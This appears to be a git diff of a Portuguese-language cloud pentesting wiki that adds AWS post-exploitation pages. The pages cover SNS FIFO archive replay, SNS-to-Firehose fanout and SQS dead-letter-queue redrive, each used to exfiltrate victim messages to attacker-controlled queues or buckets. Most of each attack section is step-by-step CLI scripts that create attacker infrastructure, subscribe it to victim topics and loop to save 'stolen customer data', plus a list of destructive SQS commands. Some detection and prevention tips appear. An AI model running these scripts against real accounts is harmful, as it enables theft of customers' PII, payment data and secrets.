+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+Trecho esperado mostra o CC em texto claro:
+```text
+4539894458086459
+```
+## Impacto
+- Alterar um tópico de de-identification/deny para audit-only (ou, de outra forma, remover controles Outbound) permite que PII/secrets passem sem modificação para subscriptions controladas pelo atacante, possibilitando exfiltração de dados que, de outra forma, seriam mascarados ou bloqueados.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md
new file mode 100644
index 000000000..e7eea7a01
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md
@@ -0,0 +1,100 @@
+# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abuso do arquivamento de mensagens de um tópico Amazon SNS FIFO para reproduzir e exfiltrar mensagens publicadas anteriormente para uma fila SQS FIFO controlada pelo atacante, configurando o ReplayPolicy da assinatura.
+
+- Service: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
+- Requirements: Topic must have ArchivePolicy enabled (message archiving). Attacker can Subscribe to the topic and set attributes on their subscription. Attacker controls an SQS FIFO queue and allows the topic to send messages.
+- Impact: Historical messages (published before the subscription) can be delivered to the attacker endpoint. Replayed deliveries are flagged with Replayed=true in the SNS envelope.
+
+## Pré-requisitos
+- SNS FIFO topic with archiving enabled: `ArchivePolicy` (e.g., `{ "MessageRetentionPeriod": "2" }` for 2 days).
+- Atacante tem permissões para:
+- `sns:Subscribe` on the target topic.
+- `sns:SetSubscriptionAttributes` on the created subscription.
+- Atacante possui uma fila SQS FIFO e pode anexar uma política de fila permitindo `sns:SendMessage` from the topic ARN.
+
+## Permissões IAM mínimas
+- On topic: `sns:Subscribe`.
+- On subscription: `sns:SetSubscriptionAttributes`.
+- On queue: `sqs:SetQueueAttributes` for policy, and queue policy permitting `sns:SendMessage` from the topic ARN.
+
+## Attack: Replay archived messages to attacker SQS FIFO
+O atacante subscreve sua fila SQS FIFO ao tópico SNS FIFO da vítima e, em seguida, define o `ReplayPolicy` para um timestamp no passado (dentro da janela de retenção do arquivo). O SNS imediatamente reexecuta as mensagens arquivadas correspondentes para a nova assinatura e as marca com `Replayed=true`.
+
+Notes:
+- The timestamp used in `ReplayPolicy` must be >= the topic's `BeginningArchiveTime`. If it's earlier, the API returns `Invalid StartingPoint value`.
+- For SNS FIFO `Publish`, you must specify a `MessageGroupId` (and either dedup ID or enable `ContentBasedDeduplication`).
+
+<details>
+<summary>POC CLI de ponta a ponta (us-east-1)</summary>
+```bash
+REGION=us-east-1
+# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
+TS_START=$(python3 - << 'PY'
+from datetime import datetime, timezone, timedelta
+print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
+PY
+)
+
+# 1) Create SNS FIFO topic with archiving (2-day retention)
+TOPIC_NAME=htreplay$(date +%s).fifo
+TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
+--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
+--query TopicArn --output text)
+
+echo "Topic: $TOPIC_ARN"
+
+# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
+for i in $(seq 1 3); do
+aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
+--message-group-id g1 >/dev/null
+done
+
+# 3) Create attacker SQS FIFO queue and allow only this topic to send
+Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
+--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
+--attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+cat > /tmp/ht-replay-sqs-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
+JSON
+# Use CLI input JSON to avoid quoting issues
+aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
+import json, os
+print(json.dumps({
+'QueueUrl': os.environ['Q_URL'],
+'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
+}))
+PY
+)"
+
+# 4) Subscribe the queue to the topic
+SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+
+echo "Subscription: $SUB_ARN"
+
+# 5) Ensure StartingPoint is >= BeginningArchiveTime
+BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
+START=${TS_START}
+if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
+
+aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
+--attribute-name ReplayPolicy \
+--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
+
+# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
+aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
+--max-number-of-messages 10 --wait-time-seconds 10 \
+--message-attribute-names All --attribute-names All
+```
+</details>
+
+## Impacto
+**Impacto Potencial**: Um atacante que conseguir inscrever-se em um tópico SNS FIFO com arquivamento ativado e definir `ReplayPolicy` na sua assinatura pode imediatamente reproduzir e exfiltrar mensagens históricas publicadas nesse tópico, não apenas mensagens enviadas depois que a assinatura foi criada. As mensagens entregues incluem uma flag `Replayed=true` no envelope do SNS.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
new file mode 100644
index 000000000..0d67d985d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
@@ -0,0 +1,76 @@
+# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abuse o protocolo de assinatura do Firehose para registrar um Kinesis Data Firehose delivery stream controlado pelo atacante em um tópico SNS standard da vítima. Uma vez que a assinatura esteja configurada e a IAM role exigida confie em `sns.amazonaws.com`, cada notificação futura será gravada de forma durável no S3 bucket do atacante com ruído mínimo.
+
+## Requisitos
+- Permissões na conta do atacante para criar um S3 bucket, um Firehose delivery stream e a IAM role usada pelo Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
+- A capacidade de `sns:Subscribe` ao tópico da vítima (e opcionalmente `sns:SetSubscriptionAttributes` se o subscription role ARN for fornecido após a criação).
+- Uma topic policy que permita ao principal atacante se inscrever (ou o atacante já opera dentro da mesma conta).
+
+## Passos do Ataque (exemplo na mesma conta)
+```bash
+REGION=us-east-1
+ACC_ID=$(aws sts get-caller-identity --query Account --output text)
+SUFFIX=$(date +%s)
+
+# 1) Create attacker S3 bucket and Firehose delivery stream
+ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
+aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
+
+STREAM_NAME=ht-firehose-stream-$SUFFIX
+FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
+
+# Role Firehose assumes to write into the bucket
+aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/firehose-s3-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
+JSON
+aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
+
+aws firehose create-delivery-stream \
+--delivery-stream-name "$STREAM_NAME" \
+--delivery-stream-type DirectPut \
+--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
+--region $REGION >/dev/null
+
+# 2) IAM role SNS assumes when delivering into Firehose
+SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
+aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/allow-firehose.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
+JSON
+aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
+
+SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
+
+# 3) Subscribe Firehose to the victim topic
+TOPIC_ARN=<VICTIM_TOPIC_ARN>
+aws sns subscribe \
+--topic-arn "$TOPIC_ARN" \
+--protocol firehose \
+--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
+--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
+--region $REGION
+
+# 4) Publish test message and confirm arrival in S3
+aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
+sleep 90
+aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
+```
+## Limpeza
+- Exclua a SNS subscription, o Firehose delivery stream, as temporary IAM roles/policies e o attacker S3 bucket.
+
+## Impacto
+**Impacto Potencial**: Exfiltração contínua e durável de cada mensagem publicada no SNS topic alvo para armazenamento controlado pelo attacker com pegada operacional mínima.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
new file mode 100644
index 000000000..ed036b8dc
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
@@ -0,0 +1,150 @@
+# AWS – Exfiltração do DLQ do SQS via StartMessageMoveTask
+
+## Descrição
+
+Abuse tarefas de movimentação de mensagens do SQS para roubar todas as mensagens acumuladas na Dead-Letter Queue (DLQ) da vítima, redirecionando-as para uma fila controlada pelo atacante usando `sqs:StartMessageMoveTask`. Esta técnica explora o recurso legítimo de recuperação de mensagens da AWS para exfiltrar dados sensíveis que se acumularam em DLQs ao longo do tempo.
+
+## O que é um Dead-Letter Queue (DLQ)?
+
+Uma Dead-Letter Queue é uma fila especial do SQS onde mensagens são enviadas automaticamente quando não conseguem ser processadas com sucesso pela aplicação principal. Essas mensagens com falha frequentemente contêm:
+- Dados sensíveis da aplicação que não puderam ser processados
+- Detalhes de erro e informações de depuração
+- Informações Pessoais Identificáveis (PII)
+- Tokens de API, credenciais ou outros segredos
+- Dados de transações críticos para o negócio
+
+DLQs atuam como um "cemitério" para mensagens com falha, tornando-as alvos valiosos, pois acumulam dados sensíveis ao longo do tempo que as aplicações não conseguiram processar adequadamente.
+
+## Cenário de Ataque
+
+**Exemplo do mundo real:**
+1. **Aplicação de e-commerce** processa pedidos de clientes através do SQS
+2. **Alguns pedidos falham** (problemas de pagamento, estoque, etc.) e são movidos para uma DLQ
+3. **DLQ acumula** semanas/meses de pedidos com falha contendo dados de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **Atacante obtém acesso** às credenciais AWS com permissões SQS
+5. **Atacante descobre** que a DLQ contém milhares de pedidos com falha com dados sensíveis
+6. **Em vez de tentar acessar mensagens individuais** (lento e óbvio), o atacante usa `StartMessageMoveTask` para transferir em massa TODAS as mensagens para sua própria fila
+7. **Atacante extrai** todos os dados sensíveis históricos em uma única operação
+
+## Requisitos
+- A fila de origem deve estar configurada como DLQ (referenciada por pelo menos uma RedrivePolicy de fila).
+- Permissões IAM (executando como o principal da vítima comprometida):
+- Na DLQ (origem): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- Na fila de destino: permissão para entregar mensagens (por exemplo, política da fila permitindo `sqs:SendMessage` do principal da vítima). Para destinos na mesma conta isso normalmente é permitido por padrão.
+- Se SSE-KMS estiver habilitado: na CMK de origem `kms:Decrypt`, e na CMK de destino `kms:GenerateDataKey`, `kms:Encrypt`.
+
+## Impacto
+Exfiltrar cargas úteis sensíveis acumuladas em DLQs (eventos com falha, PII, tokens, payloads de aplicações) em alta velocidade usando APIs nativas do SQS. Funciona entre contas se a política da fila de destino permitir `SendMessage` do principal da vítima.
+
+## Como Abusar
+
+- Identificar o ARN da DLQ da vítima e garantir que ela esteja realmente referenciada como DLQ por alguma fila (qualquer fila serve).
+- Criar ou escolher uma fila de destino controlada pelo atacante e obter seu ARN.
+- Iniciar uma tarefa de movimentação de mensagens da DLQ da vítima para sua fila de destino.
+- Monitorar o progresso ou cancelar se necessário.
+
+### Exemplo CLI: Exfiltrando Dados de Clientes da DLQ de E-commerce
+
+**Cenário**: Um atacante comprometeu credenciais AWS e descobriu que uma aplicação de e-commerce usa SQS com uma DLQ que contém tentativas de processamento de pedidos de clientes com falha.
+
+1) **Descobrir e examinar a DLQ da vítima**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **Criar fila de destino controlada pelo atacante**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **Execute o roubo em massa de mensagens**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **Recolher os dados sensíveis roubados**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### Notas cross-account
+- A fila de destino deve ter uma resource policy que permita ao principal da vítima executar `sqs:SendMessage` (e, se usado, concessões/permissões do KMS).
+
+## Por que este ataque é eficaz
+
+1. **Funcionalidade legítima da AWS**: Usa funcionalidade nativa da AWS, tornando difícil detectar como malicioso
+2. **Operação em massa**: Transfere milhares de mensagens rapidamente em vez de acesso individual lento
+3. **Dados históricos**: DLQs acumulam dados sensíveis ao longo de semanas/meses
+4. **Fora do radar**: Muitas organizações não monitoram de perto o acesso às DLQs
+5. **Capaz de cross-account**: Pode exfiltrate para a própria conta AWS do atacante se as permissões permitirem
+
+## Detecção e Prevenção
+
+### Detecção
+Monitore o CloudTrail em busca de chamadas API `StartMessageMoveTask` suspeitas:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### Prevenção
+1. **Princípio do menor privilégio**: Restringir as permissões `sqs:StartMessageMoveTask` somente às funções necessárias
+2. **Monitorar DLQs**: Configure alarmes do CloudWatch para atividade incomum nas DLQs
+3. **Políticas entre contas**: Revise cuidadosamente as políticas de fila do SQS que permitem acesso entre contas
+4. **Criptografar DLQs**: Use SSE-KMS com políticas de chave restritas
+5. **Limpeza regular**: Não permita que dados sensíveis se acumulem nas DLQs indefinidamente
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
deleted file mode 100644
index f35ecbbba..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
+++ /dev/null
@@ -1,73 +0,0 @@
-# AWS - SQS Pós Exploração
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### `sqs:SendMessage`, `sqs:SendMessageBatch`
-
-Um atacante poderia enviar mensagens maliciosas ou indesejadas para a fila SQS, potencialmente causando corrupção de dados, acionando ações não intencionais ou esgotando recursos.
-```bash
-aws sqs send-message --queue-url <value> --message-body <value>
-aws sqs send-message-batch --queue-url <value> --entries <value>
-```
-**Impacto Potencial**: Exploração de vulnerabilidades, corrupção de dados, ações não intencionais ou exaustão de recursos.
-
-### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-
-Um atacante poderia receber, deletar ou modificar a visibilidade de mensagens em uma fila SQS, causando perda de mensagens, corrupção de dados ou interrupção de serviço para aplicações que dependem dessas mensagens.
-```bash
-aws sqs receive-message --queue-url <value>
-aws sqs delete-message --queue-url <value> --receipt-handle <value>
-aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
-```
-**Impacto Potencial**: Roubo de informações sensíveis, perda de mensagens, corrupção de dados e interrupção de serviços para aplicações que dependem das mensagens afetadas.
-
-### `sqs:DeleteQueue`
-
-Um atacante poderia deletar uma fila SQS inteira, causando perda de mensagens e impactando aplicações que dependem da fila.
-```arduino
-Copy codeaws sqs delete-queue --queue-url <value>
-```
-**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicações que utilizam a fila deletada.
-
-### `sqs:PurgeQueue`
-
-Um atacante poderia purgar todas as mensagens de uma fila SQS, levando à perda de mensagens e potencial interrupção de aplicações que dependem dessas mensagens.
-```arduino
-Copy codeaws sqs purge-queue --queue-url <value>
-```
-**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicações que dependem das mensagens eliminadas.
-
-### `sqs:SetQueueAttributes`
-
-Um atacante poderia modificar os atributos de uma fila SQS, potencialmente afetando seu desempenho, segurança ou disponibilidade.
-```arduino
-aws sqs set-queue-attributes --queue-url <value> --attributes <value>
-```
-**Impacto Potencial**: Configurações incorretas levando a desempenho degradado, problemas de segurança ou disponibilidade reduzida.
-
-### `sqs:TagQueue` , `sqs:UntagQueue`
-
-Um atacante poderia adicionar, modificar ou remover tags de recursos SQS, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags.
-```bash
-aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
-aws sqs untag-queue --queue-url <value> --tag-keys <key>
-```
-**Impacto Potencial**: Interrupção da alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags.
-
-### `sqs:RemovePermission`
-
-Um atacante poderia revogar permissões para usuários ou serviços legítimos removendo políticas associadas à fila SQS. Isso poderia levar a interrupções no funcionamento normal de aplicações que dependem da fila.
-```arduino
-arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
-```
-**Impacto Potencial**: Interrupção do funcionamento normal de aplicações que dependem da fila devido à remoção não autorizada de permissões.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md
new file mode 100644
index 000000000..d8072f1ef
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md
@@ -0,0 +1,83 @@
+# AWS - SQS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Para mais informações, consulte:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### `sqs:SendMessage` , `sqs:SendMessageBatch`
+
+Um atacante pode enviar mensagens maliciosas ou indesejadas para a fila SQS, possivelmente causando corrupção de dados, acionando ações não intencionais ou esgotando recursos.
+```bash
+aws sqs send-message --queue-url <value> --message-body <value>
+aws sqs send-message-batch --queue-url <value> --entries <value>
+```
+**Impacto Potencial**: Exploração de vulnerabilidades, corrupção de dados, ações não intencionais ou exaustão de recursos.
+
+### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
+
+Um atacante poderia receber, excluir ou modificar a visibilidade de mensagens em uma fila SQS, causando perda de mensagens, corrupção de dados ou interrupção do serviço para aplicações que dependem dessas mensagens.
+```bash
+aws sqs receive-message --queue-url <value>
+aws sqs delete-message --queue-url <value> --receipt-handle <value>
+aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
+```
+**Impacto potencial**: Roubo de informações sensíveis, perda de mensagens, corrupção de dados e interrupção de serviço para aplicações que dependem das mensagens afetadas.
+
+### `sqs:DeleteQueue`
+
+Um atacante poderia excluir uma fila SQS inteira, causando perda de mensagens e impactando aplicações que dependem da fila.
+```bash
+aws sqs delete-queue --queue-url <value>
+```
+**Impacto Potencial**: Perda de mensagens e interrupção de serviço para aplicações que usam a fila SQS excluída.
+
+### `sqs:PurgeQueue`
+
+Um atacante poderia esvaziar todas as mensagens de uma fila SQS, levando à perda de mensagens e à possível interrupção das aplicações que dependem dessas mensagens.
+```bash
+aws sqs purge-queue --queue-url <value>
+```
+**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicações que dependem das mensagens purgadas.
+
+### `sqs:SetQueueAttributes`
+
+Um atacante poderia modificar os atributos de uma fila SQS, potencialmente afetando seu desempenho, segurança ou disponibilidade.
+```bash
+aws sqs set-queue-attributes --queue-url <value> --attributes <value>
+```
+**Impacto Potencial**: Misconfigurações que podem levar a desempenho degradado, problemas de segurança ou disponibilidade reduzida.
+
+### `sqs:TagQueue` , `sqs:UntagQueue`
+
+Um atacante poderia adicionar, modificar ou remover etiquetas de recursos SQS, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em etiquetas.
+```bash
+aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
+aws sqs untag-queue --queue-url <value> --tag-keys <key>
+```
+**Impacto Potencial**: Interrupção na alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags.
+
+### `sqs:RemovePermission`
+
+Um atacante poderia revogar permissões de usuários ou serviços legítimos ao remover políticas associadas à fila SQS. Isso poderia levar a interrupções no funcionamento normal das aplicações que dependem da fila.
+```bash
+aws sqs remove-permission --queue-url <value> --label <value>
+```
+**Impacto Potencial**: Interrupção do funcionamento normal de aplicações que dependem da fila devido à remoção não autorizada de permissões.
+
+### Mais SQS Post-Exploitation Techniques
+
+{{#ref}}
+aws-sqs-dlq-redrive-exfiltration.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-sns-injection.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
new file mode 100644
index 000000000..cc9c1b115
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
@@ -0,0 +1,154 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Descrição
+
+Abuse tarefas de movimentação de mensagens do SQS para roubar todas as mensagens acumuladas na Dead-Letter Queue (DLQ) de uma vítima, redirecionando-as para uma fila controlada pelo atacante usando `sqs:StartMessageMoveTask`. Esta técnica explora o recurso legítimo de recuperação de mensagens da AWS para exfiltrar dados sensíveis que se acumularam em DLQs ao longo do tempo.
+
+## O que é uma Dead-Letter Queue (DLQ)?
+
+Uma Dead-Letter Queue é uma fila SQS especial onde mensagens são enviadas automaticamente quando falham ao serem processadas com sucesso pela aplicação principal. Essas mensagens falhadas frequentemente contêm:
+- Dados sensíveis da aplicação que não puderam ser processados
+- Detalhes de erro e informações de depuração
+- Informações Pessoais Identificáveis (PII)
+- Tokens de API, credenciais ou outros segredos
+- Dados de transações críticos para o negócio
+
+DLQs atuam como um "cemitério" para mensagens falhadas, tornando-as alvos valiosos pois acumulam dados sensíveis ao longo do tempo que as aplicações não conseguiram processar corretamente.
+
+## Cenário de Ataque
+
+**Exemplo do mundo real:**
+1. **Aplicação de e-commerce** processa pedidos de clientes através do SQS
+2. **Alguns pedidos falham** (problemas de pagamento, estoque, etc.) e são movidos para uma DLQ
+3. **DLQ acumula** semanas/meses de pedidos falhados contendo dados de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **Atacante obtém acesso** às credenciais AWS com permissões SQS
+5. **Atacante descobre** que a DLQ contém milhares de pedidos falhados com dados sensíveis
+6. **Ao invés de tentar acessar mensagens individuais** (lento e óbvio), o atacante usa `StartMessageMoveTask` para transferir em massa TODAS as mensagens para sua própria fila
+7. **Atacante extrai** todos os dados sensíveis históricos em uma única operação
+
+## Requisitos
+- A fila de origem deve estar configurada como DLQ (referenciada por pelo menos uma RedrivePolicy de fila).
+- Permissões IAM (executadas como o principal da vítima comprometida):
+- Na DLQ (origem): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- Na fila de destino: permissão para entregar mensagens (por exemplo, policy da fila permitindo `sqs:SendMessage` do principal vítima). Para destinos na mesma conta isso normalmente é permitido por padrão.
+- Se SSE-KMS estiver habilitado: na CMK de origem `kms:Decrypt`, e na CMK de destino `kms:GenerateDataKey`, `kms:Encrypt`.
+
+## Impacto
+**Impacto Potencial**: Exfiltrar cargas úteis sensíveis acumuladas em DLQs (eventos falhados, PII, tokens, payloads da aplicação) em alta velocidade usando as APIs nativas do SQS. Funciona cross-account se a policy da fila de destino permitir `SendMessage` do principal vítima.
+
+## Como Abusar
+
+- Identifique o ARN da DLQ da vítima e assegure-se de que ele está realmente referenciado como DLQ por alguma fila (qualquer fila serve).
+- Crie ou escolha uma fila de destino controlada pelo atacante e obtenha seu ARN.
+- Inicie uma tarefa de movimentação de mensagens da DLQ da vítima para sua fila de destino.
+- Monitore o progresso ou cancele se necessário.
+
+### Exemplo CLI: Exfiltrando Dados de Clientes da DLQ de E-commerce
+
